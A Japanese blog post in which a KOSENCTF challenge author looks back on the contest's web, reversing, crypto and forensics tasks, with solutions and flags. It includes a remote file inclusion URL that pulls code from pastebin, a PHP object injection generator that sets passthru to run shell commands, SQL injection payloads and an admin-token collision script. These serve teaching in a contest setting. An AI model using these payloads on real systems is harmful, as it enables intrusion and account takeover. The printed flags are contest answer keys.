公式writeupというほど大仰なものではないです。どちらかといえば作問振り返りで、自分語りに該当するやつなので、ちゃんとしたwriteupは参加者の皆さんのものを探してください。見つけ次第このエントリでもリンクを貼りたいとは思っています。
あとここにwriteup書いてないのはチームメイトが他に書くはず。
あわせてよみたい
[Cheat 150pts]spaceshipのwriteup
僕の記事なんてどうでも良いのでこれを読んで!
- [Web 100pts] Gimme Chocolate -- 21 solves
- [Web 200pts] Secure Session -- 7 solves
- Web[250pts] Login -- 15 Solves
- [Web 50pts] Login Reloaded --- 3 Solves
- [Reversing 100pts] flag generator --- 25 Solves
- [Reversing 200pts] flag checker -- 8 Solves
- [Reversing 300pts] Rolling Triangle --- 1 Solve
- [Crypto 100pts] strengthened --- 30 solves
- [Crypto 150pts]Oh my Hash --- 3 solves
- [Crypto 300pts] slot machine --- 2 solves
- [Forensics 50pts] attack log --- 66 solves
- [Forensics 200pts] conversation --- 27 solves
- [Forensics 300pts] matroska --- 1 solve
- 参考になるwriteup群
[Web 100pts] Gimme Chocolate -- 21 solves
webは全問題ソースコードを公開して出題しました。これはptr-yudaiがそうしたいと言っていましたが僕も大いに賛成でした。そのほうが面白い気がする。
Gimme Chocolateですが、これはbrainf*ckを書いて保存 + 実行ができるページをPHPで実装しています。実装量を減らすためにwikipediaに書いてある仕様とは少し異なっていて[
はwhileではなくdo while相当です(ハマりポイント★)。あと標準入力を備えていないので,
はありません。
この問題でやることは100バイト以下でGive Me a Chocolate!!
と出力するbrainf*ckコードを実行することですが、まあまず無理です(当初はもう少し短い文字列&128バイトまで可にしてたらptr-yudaiが実現してきたので制限を厳しくしました)。
ソースコードをぐっと睨むか、適当なソースコードを実行してもらうとわかりますが、このページでは実行するファイルの名前をfile
というGETパラメータで与えていて、そのファイルをfile_get_contents
で読み込んで実行しています。fileの値を好きにできるので、任意のファイルを読み込ませて実行することができる、Local File Inclusion脆弱性を使うことが思いつきますが、読み込んだファイルはbrainf*ckのソースコードとして解釈されてしまうので中身を知ることはできず、ましてやGive Me a Chocolate!!
を出力するのは無理そうです。そこでRemote File Inclusion脆弱性です。file_get_contents
ように何かしらのパスを読むPHPの関数はhttp://www.example.com
のようなパスも引数にとることができて、このようなURLでも中身をきちんと読みに行ってくれます。brainf*ckのソースコードが100byteに制限されるのはfwrite($fp, $_POST['code'], 100)
という保存部分のせいなので、読み込むファイルが100byte以上でも問題なく動作します。
ということで、pastebin.comのようなサイトにGive Me a Chocolate!!
を出力するbrainf*ckソースコードをおいておいて(これにはhttp://mikecat.usamimi.info/jstool/bfgen/ のようなサイトを使いました。ハマりポイント★に書いたように[
がwhileでないので思ったように動作しないジェネレータもあり注意が必要です)、そのURLを読み込ませれば勝ちです。
http://web.kosenctf.com:8100/?execute&file=https://pastebin.com/raw/p7pgQ7Aq にアクセスするとフラグが手に入ります。フラグはBABYMETALのギミチョコ!! の歌詞から。最初奥田民生のギブミークッキーとどちらにするか悩んで長い方にしました。
KOSENCTF{CIO_CHOCOLATEx2_CHOx3_IIYONE}
[Web 200pts] Secure Session -- 7 solves
ptr-yudaiの作問。独自のセッション管理を提供するページのようです。ソースコードが渡されているので眺めると、次のように脆弱っぽい場所が見つかります。POSTパラメータをそのままunserialize
関数に突っ込んでいてdeserialization of untrusted dataというやつです。
if (isset($_POST['save'])) { // You can skip the bothering setup // by loading the saved handler. $handler = unserialize(base64_decode($_POST['save'])); } else { // Or, you can also setup the handler manually. $SECRET_KEY = 'sample-password'; // Keep it secret! $crypto = new SecureCrypto(); $handler = new SecureSession($SECRET_KEY); $handler->set_crypto('encrypt', array($crypto, 'encrypt')); $handler->set_crypto('decrypt', array($crypto, 'decrypt')); } session_set_save_handler($handler, true);
この $handler
は session_set_save_handler($handler, true);
のようにセッションハンドラとして使われています。PHPのカスタムセッションハンドラのページを見るとセッションハンドラとして登録されたインスタンスはopenやreadやwriteといったメソッドが呼ばれるようです。
$handler
のクラスであるSecureSession
ではwriteはこのようにcryptoというメンバ変数のencrypt
を関数として呼び出しており、上のelse
節では関数を登録している様子がわかります。
public function write($id, $data) { $data = $this->crypto['encrypt']($this->key, $data); return parent::write($id, $data); }
ここから、「encrypt
に不正な関数を登録したcrypto
を持つSecureSession
のインスタンスをPHP Object Injectionすればよいのではないか」という方針が立ちます。例えば、$this->crypto['encrypt']
が passthru
だったら、passthru($this->key, $data)
という呼び出しをすることになり、当然$key
も書き換えられるので、任意のOSコマンドを実行できます。
このようなPHP Objectを作るコードを書きます(説明ではencrypt
を書き換えていましたがソースコードではdecrypt
を書き換えています。どちらでも良いです)。問題からソースコードを流用してきました。
<?php require_once "modules/crypto.php"; require_once "modules/session.php"; $SECRET_KEY = $argv[1]; $crypto = new SecureCrypto(); $handler = new SecureSession($SECRET_KEY); $handler->set_crypto('encrypt', array($crypto, 'encrypt')); $handler->set_crypto('decrypt', "passthru"); echo base64_encode(serialize($handler)) .PHP_EOL;
これで php hoge.php ls
とすると、セッションをreadかwriteするタイミングでpassthru("ls", $data);
が呼ばれるようなPHP Objectをシリアライズしてbase64encodeしたものがでてきます。これをPOSTのsave
パラメータとして渡すと、hOI_the_flag_is_here index.php modules ssm.tar.gz
のような結果が帰ってきます。よくわかりませんがhOI_the_flag_is_here
はフラグの入ったファイルっぽいので、php hoge.php "cat hOI_the_flag_is_here"
とした結果もおくってみます。
フラグは KOSENCTF{Th3_p01nt_1s_N0t_h0w_s3cur3_1t_1s_But_h0w_t0_us3_1t}
です。何書いてあるかよくわからない。
Web[250pts] Login -- 15 Solves
LoginとRegisterができるサイトで、adminという名前でログインできればフラグが手に入りますが、adminという名前のユーザはすでに登録されています。Registerはちゃんとしているのに、Loginには自明にSQL Injectionの脆弱性があります。ただし、$username
はadmin
でないとadminとしてはログインできず、また、$password
と、SQLの結果のパスワードのmd5が一致している必要があります。ソースコード中でusleep
しているのはtime based sql injectionの対策です。
$username = $_POST['name']; $password = $_POST['password']; usleep(random_int(0, 5000000)); try { $rows = $pdo->query("select username, password from users where username='$username' and password='$password'", PDO::FETCH_ASSOC)->fetchAll(); if (count($rows) == 1 && md5($rows[0]['password']) === md5($password)) { $_SESSION['login'] = $username; } } catch (Exception $e) { // }
単純なクエリではadminとしてはログインできなさそうですがRegisterができるので、適当なユーザ(ここではjoseph)として、次のようなパスワードでRegisterしてみます。このパスワードをadminとしてのログイン時に入力すると、josepthのパスワードを引っ張ってきたものをパスワードとしてすげ替えることができるので(つまりこのパスワード)、パスワードのmd5が一致し、adminとしてログインできます。
' UNION SELECT '', a.password FROM users AS a WHERE username='joseph';--
以下フラグ。そうですね。
KOSENCTF{I_DONT_HAVE_ANY_APTITUDE_FOR_MAKING_A_WEB_CHALLENGE_SORRY}
[Web 50pts] Login Reloaded --- 3 Solves
はい。申し訳ありません。この問題に関する問題はもう書いたので、writeupを書きます。もともとこれを問題として出そうとしていたんですが、気まぐれでつけたRegister機能を使った解法をptr-yudaiが見つけたので、Loginを出題し、あんまりすぐ解かれたものだからやっぱりこちらもと思ってだしました。
Login ReloadedはLoginのページからRegister機能が失われたもので、adminとしてログインするにはいよいよ$password
とSQL Injectionの結果が一致する他ありません。
ということでこういうクエリになります。このパスワードはQuineになっていてSQLの実行結果が入力と同じになります。
'union select'admin',printf(s,s)from(select'''union select''admin'',printf(s,s)from(select%Qas s)-- 'as s)--
[Reversing 100pts] flag generator --- 25 Solves
ごめんなさい2号。writeupしていきます。渡されるのは64bit ELFで、実行してみても沈黙のまま終了する気配もありません。IDAでみてみたり、straceにかけたりしてみると、sleep
していることがわかります。
IDAでみてみて、えいっとデコンパイルするとこういうコードになっていることがわかります(これは元コードですが……)。
int s; int r() { s = ((s * 1103515245U) + 12345U) & 0x7fffffff; return s; } int main() { int xs[] = {0x608f5935, 0x57506491, 0x27365557, 0x54e3dea1, 0x755a4ed5, 0x17f42eb7, 0x4a4f9059, 0x1a08e827, 0x0d9d391f, 0x59e533aa}; int first = 0x25dc167e; int xlen = 10; int cnt = 0; int flag = 0; int v = 0; while (1) { if (!flag) { s = time(NULL); } v = r(); if (v == first) { flag = 1; } if (flag) { v ^= xs[cnt]; printf("%s", (char*)&v); cnt++; if (cnt == xlen) { break; } } sleep(1); } return 0; }
雑な解析をすると、rはrandom関数で、sというグローバル変数の値に依存して乱数を生成しています(これ昔のlibcのrandの実装)。そして、sをtime(NULl)
の結果にして、r()
の結果が0x25dc167e
になるまではひたすらsleep(1)
しているようです。その後はどうやらxorでフラグを出力している様子。
ということで、r()
の結果が0x25dc167e
になったところからをエミュレートしてみます(rは返した値を次のシードにしてるのでこういうことができる)。
from oldknife import * import sys s = 0 def r(): global s s = ((s * 0x41C64E6D) + 0x3039) & 0x7fffffff return s s = 0x25DC167E xs = [0x608F5935, 0x57506491, 0x27365557, 0x54E3DEA1, 0x755A4ED5, 0x17F42EB7, 0x4A4F9059, 0x1A08E827, 0x0D9D391F, 0x59E533AA] for i, x in enumerate(xs): sys.stdout.write(i2h(s ^ x).decode("hex")[::-1]) r() sys.stdout.write("\n")
実行するとKOSENCTF{IS_THIS_REALLY_A_REVERSING?}
が得られます。ほんとだよ。
これをLD_PRELOADなどでやった場合、printf("%s", (char*)&v);
のところで\b
のようなゴミが入って出力中の?
が消されてしまっていたようです。ごめんなさい……。
[Reversing 200pts] flag checker -- 8 Solves
64bit ELFです。真面目にreversingをするcrack me問題。check関数とh関数があり、それぞれこんな感じです。デコンパイルは真面目にやるとできるはず……。
void h(char *s, char **r) { int l = strlen(s); int p = 4 - (l % 4); char *buf = malloc(sizeof(char) * (l + p)); *r = malloc(sizeof(char) * (l + p)); strncpy(buf, s, l); for (int i = l; i < l+p; i++) { buf[i] = p; } unsigned int k = 0xDEC0C0DE; unsigned int hash = 0; for (int j = (l+p)/4 - 1; j >= 0; j--) { hash ^= ((unsigned int*)buf)[j] ^ k; k = (k << 8) | (k >> 24); ((unsigned int*)(*r))[j] = hash; } free(buf); } int check(char *s) { char *buf; char *x = "\x9f\xc9\xd7\xc2\x0a\x46\x44\x59\x84\xc5\xce\xc1\x3f\x4f\x5f\x4e\xbe\xd4\xde\xdd\x39\x4b\x4a\x4c\xa6\xcf\xd1\xd1\x29\x55\x4a\x4e\xa3\xc3\xc3\xdd"; h(s, &buf); int r = 1; for (int i = 0; i < strlen(buf); i++) { if (buf[i] != x[i]) { r = 0; break; } } free(buf); return r; }
check
は入力をh
にかけて、その結果をx
と比較しています。h
はハッシュっぽい関数で入力に4バイトのパディングをつけたあと、後ろから4バイトずつ、kという値とのxorをとっています。kは初期値がDEC0C0DE
で、毎回bitずつ巡回シフトをしています。
kの値がわかればxorをするだけなので簡単です。
import struct k = 0xDEC0C0DE x = "\x9f\xc9\xd7\xc2\x0a\x46\x44\x59\x84\xc5\xce\xc1\x3f\x4f\x5f\x4e\xbe\xd4\xde\xdd\x39\x4b\x4a\x4c\xa6\xcf\xd1\xd1\x29\x55\x4a\x4e\xa3\xc3\xc3\xdd" h = 0 ms = [] for i in range(len(x) / 4 - 1, -1, -1): y = struct.unpack("<I", x[i*4:(i+1)*4])[0] m = k ^ y ^ h ms.append(struct.pack("<I", m)) h = m ^ k ^ h k = ((k << 8) | (k >> 24)) & 0xFFFFFFFF; print("".join(reversed(ms)))
KOSENCTF{TOO_EASY_TO_DECODE_THIS}
。これ100点のつもりで作ったら200点になった。
[Reversing 300pts] Rolling Triangle --- 1 Solve
ちょっと書くのが面倒なので、 ptr-yudaiが問題チェックの際に書いたやつをコピってぺっします。
=== ここから ===
引数に与えた文字列がフラグかをチェックしてくれる。
概要
まずは与えられたバイナリをidaで解析する。小数を含む演算が多様されるが、案外読みやすかった。全体をCに戻すとこんな感じ。
#include <stdio.h> #include <math.h> double values[0x25]; void initialize(char* input, double* list) { double x; int i, j; for(i = 0; i < 0x25; i++) { list[i] = 0.0; for(j = 0; j < 0x25; j++) { x = 2 * M_PI * i * j / 37.0; list[i] += input[j]*cos(x) - input[j]*sin(x); } } } int check(double a, double b) { if (fabs(a - b) <= 0.001) { return 1; } return 0; } int main(int argc, char** argv) { int cnt; double list[0x25]; if (argc == 1) { printf("Usage: %s flag\n", argv[0]); return 0; } if (strlen(argv[1]) != 0x25) { puts("Wrong..."); return 0; } initialize(argv[1], list); for(cnt = 0; cnt < 0x25; cnt++) { if (!check(list[i], values[i])) { puts("Wrong..."); return 0; } } puts("Correct!"); return 0; }
ここでvaluesには小数値が入っているが、これをIDAから取り出す。次のようなIDCで取り出せる。
auto addr = 0x0404080; auto size = 37; auto f = fopen("/tmp/values.dmp", "wb"); savefile(f, 0, addr, size); fclose(f);
計算
作問者がフーリエ云々と言っていたのは知っていたが、これを見てフーリエとは気付かないと思うので普通ならどうするかを考えて解いた。 フラグのn文字目をf_nとしてlistがどうなっているかを考える。listをl、valuesをvと表記すると、
$$ f_1 + f_2 + \cdots + f_{37} = v_1 $$
$$ f_1 + f_2 \left(\cos{\cfrac{2\pi \times 1}{37}} - \sin{\cfrac{2\pi \times 1}{37}}\right) + \cdots + f_{37} \left(\cos{\cfrac{2\pi \times 37}{37} - \sin{\cfrac{2\pi \times 37}{37}}}\right) = v_2 $$
$$ \cdots $$
といった具合で37元1次連立方程式が立てられる。したがって、これを解いてやればフラグ$f_n$が求まる。 numpyを使って解いた。
import struct from numpy import * from numpy.linalg import * from math import cos, sin c1 = struct.unpack('>d', "\x40\x19\x21\xFB\x54\x44\x2D\x18")[0] c2 = struct.unpack('>d', "\x40\x42\x80\x00\x00\x00\x00\x00")[0] c3 = struct.unpack('>d', "\x3F\x50\x62\x4D\xD2\xF1\xA9\xFC")[0] values = open("values.dmp", "rb").read() flag = "" clist = [] for i in xrange(37): c = [] for j in xrange(37): x = c1 * i * j / c2 c.append(cos(x) - sin(x)) clist.append(list(c)) alist = [] for i in range(37): alist.append(struct.unpack('<d', values[i*8:(i+1)*8])[0]) a = array(clist) b = array(alist) x = solve(a, b) flag = "" for c in x: flag += chr(int(c + c3)) print(flag)
数学がいい感じに使える良問だと思う。卒論お手伝いしてたので飛び飛びになったが、解くのには1時間前後かかった。
===ここまで===
問題としては、フーリエ変換したフラグを内部で持っていて、入力もフーリエ変換しているので内部の値をフーリエ逆変換したらフラグが戻せる感じでした。高専っぽくない?
問題名は三角関数→ローリング△さんかく→Rolling Triangleです。フラグも同じく周防桃子ちゃんから。かわいいよね。僕は周防桃子ちゃんと真壁瑞希ちゃんが好きです。
[Crypto 100pts] strengthened --- 30 solves
簡単なRSAで、$me < n$にならないようにシフトが入ってます。ただ、こういうことをしてるとcとmeの値が近くなるので$c*x = me$となるxが求められそうです。たくさんシフトをして末尾のbit列が0になっているようなmが求まるまでxを探索するだけで解けます。
from Crypto.PublicKey import RSA from flag import flag assert(flag.startswith("KOSENCTF")) m = int(flag.encode("hex"), 16) key = RSA.generate(2048, e=3) while pow(m, key.e) < key.n: m = m << 1 c = pow(m, key.e, key.n) print("c={}".format(c)) print("e={}".format(key.e)) print("n={}".format(key.n))
from Crypto.Util import number from Crypto.PublicKey import RSA import gmpy import sys def root_e(c, e): m = gmpy.root(c, e)[0] return long(m) def ashexstr(h): s = "{:0x}".format(h) if len(s) % 2 == 1: s = "0" + s return s.decode("hex") x, y, z = open(sys.argv[1]).read().split() c = int(x.split("=")[1]) e = 3 n = int(z.split("=")[1]) # print(ashexstr(root_e(c, e))) c2 = c for i in range(10): c2 += n s = bin(root_e(c2, e)) if s.endswith("00000000000"): print(ashexstr(int(s.rstrip("0")[2:], 2))) break
KOSENCTF{THIS_ATTACK_DOESNT_WORK_WELL_PRACTICALLY}
[Crypto 150pts]Oh my Hash --- 3 solves
これちゃんとhashの差分みてフラグとった人がいるんですね……。なんか適当な作問してて申し訳なくなってきた。
adminとしてログインする問題で、Login + remember me と Registerがあります。
ソースコードをみるとadminのremember tokenをこんな感じで作っていて
g['tokens'] = { myhash((SALT + "admin").encode()).decode(): "admin" }
ログイン時にremember_tokenが付与されます。
if request.form.get('remember'): token = myhash((SALT + name).encode()).decode() if token not in g['tokens'].keys(): g['tokens'][token] = name resp.set_cookie('remember_token', value=token, max_age=60*60*24)
remember_tokenが与えられたときのログイン処理
token = request.cookies.get('remember_token') if token and token in g['tokens']: session['user'] = g['tokens'][token] resp = make_response(render_template('user.html', user=session['user'], flag=FLAG)) resp.set_cookie('remember_token', value='', expires=0) return resp
肝心のhash関数はこうです。
def myhash(message): xs = myhash_impl(message) return binascii.hexlify(functools.reduce(lambda x, y: x + y, [x.to_bytes(4, 'big') for x in xs])) def myhash_impl(message, iv=(0xDEADBEEF, 0xCAFEBABE, 0x00C0FFEE, 0x5017B047)): # add padding l = (64 - len(message)) % 64 message += l.to_bytes(1, 'big') * l A, B, C, D = iv f = lambda x, y: (((x<<1)^(y>>5)) ^ ((x>>16)|(y<<16))) & 0xFFFFFFFF g = lambda x, y: ((x<<4) | ((y << 1) ^ (y >> 10))) & 0xFFFFFFFF h = lambda x, y: (x|y) ^ (x&y) for i in range(0, len(message), 16): a = int.from_bytes(message[i:i+4], 'big') b = int.from_bytes(message[i+4:i+8], 'big') c = int.from_bytes(message[i+8:i+12], 'big') d = int.from_bytes(message[i+12:i+16], 'big') A = f(g(B, a), h(C, d)) B = f(g(C, b), h(D, a)) C = f(g(D, c), h(A, b)) D = f(g(A, d), h(B, c)) return [A, B, C, D]
こんなの絶対読みたくないですよね、と思って見ると、 #add padding
のところだけなんかコメントついてるし怪しいですね。実は実装が微妙に間違っていて、本来 l = 64 - (len(message) % 64)
とするところを間違えてしまっています。これだと、x...x
(xが63個)の入力とx...x\x01
の入力が等しくなってしまい、当然ハッシュも等しくなってしまいます。
それではadminのremember_tokenではどうかと思って振り返ると myhash((SALT + "admin").encode()).decode()
というふうに謎の SALTが与えられています。ですが、SALTはどのユーザにも共通なので、SALTの長さを探索して、admin\x01
, admin\x02\x02
, ……としていけば60回も施行せずにadminと同じremember_tokenをもったユーザを作ることができます。
import sys import requests def pad(message): l = (64 - len(message)) % 64 message += l.to_bytes(1, 'big') * l return message def work(message, l): # calculate padding character pc = pad(('x'*l + message).encode()).decode()[-1] l2 = (64 - (len(message) + l)) % 64 return message + pc * l2 BASE = "admin" URL = "http://others.kosenctf.com:10200/" for s in range(64): name = work(BASE, s) r = requests.post(URL + "register", data={"name": name, "password": "hoge"}) r = requests.post(URL + "login", data={"name": name, "password": "hoge", "remember": "on"}, allow_redirects=False) c = { "remember_token": r.cookies.get_dict()['remember_token'] } r = requests.get(URL, cookies=c) if "Save" in r.text: print(r.text) print(repr(name)) break
KOSENCTF{PADDING_MAKES_THIS_MORE_VULNERABLE}
なるほど。ちなみに問題名はoh my zshからつけたけどフラグを考えるときにはそのことを忘れていました。
[Crypto 300pts] slot machine --- 2 solves
最初は僕がRSAの準同型性で作ってたんですがtoo easyだったので師匠が改善してくれました。wrietup書き直すの面倒なんでinsecure内部のwriteupを晒しときます。
[Forensics 50pts] attack log --- 66 solves
$ grep 200 -B 5 -a attack_log.pcapng Accept-Encoding: gzip, deflate Accept: */* User-Agent: python-requests/2.13.0 Authorization: Basic a29zZW46YlJ1dDNGMHJjM1cwcmszRA== \�}"���<<D�[^G80�E(4�@@���� ��Ph�a�C��'P��\0�}����D�[^G80�E4�@@���� ��Ph�a�C��'P�zHTTP/1.1 200 OK echo a29zZW46YlJ1dDNGMHJjM1cwcmszRA== | base64 -d kosen:bRut3F0rc3W0rk3D
ということで KOSENCTF{bRut3F0rc3W0rk3D}
。
この問題でKOSENCTF{<the password for the basic auth>}
っておくってくるチームが多かったんですがこれはなんですか?
[Forensics 200pts] conversation --- 27 solves
foremostで頑張るとjpegが出てくるらしいですね。焦る。writeup書くの飽きてきたのでこれも出来合いのものを
[Forensics 300pts] matroska --- 1 solve
思った以上に解かれなかった。ファイルサイズにびびったのかvolatilityが古かったのか、単に解けなかったのかどれなんでしょう?
writeupはこれもinsecure内部のを。
参考になるwriteup群
yoshikingが頑張ってサーチしてくれましたが、抜けてたり新しく書いたりしたらこっそり教えてください。
高専1位おめでとうございます proelbtn.hateblo.jp
Web問つくるときにwriteupめっちゃ参考にしました。良問の評価を頂いて嬉しいです graneed.hatenablog.com
angrでflag checker解いてるwriteupがあります。あとこの難易度をちょうどよいと言ってくれる高専生がいて嬉しい scrapbox.io
conversationのかしこい方のwriteupです dawning.hatenablog.com
ゴルフお疲れ様です…… szarny.hatenablog.com
strengthenedの想定解法を丁寧に書いてくれてて良さ kent056-n.hatenablog.com
strengthenedのwriteupのはずなのに読んでもわかんなかった https://ykm11.hatenablog.com/entry/2019/01/20/210500ykm11.hatenablog.com
解けてよかったです! yukium.hatenablog.jp
074m4K053nつよい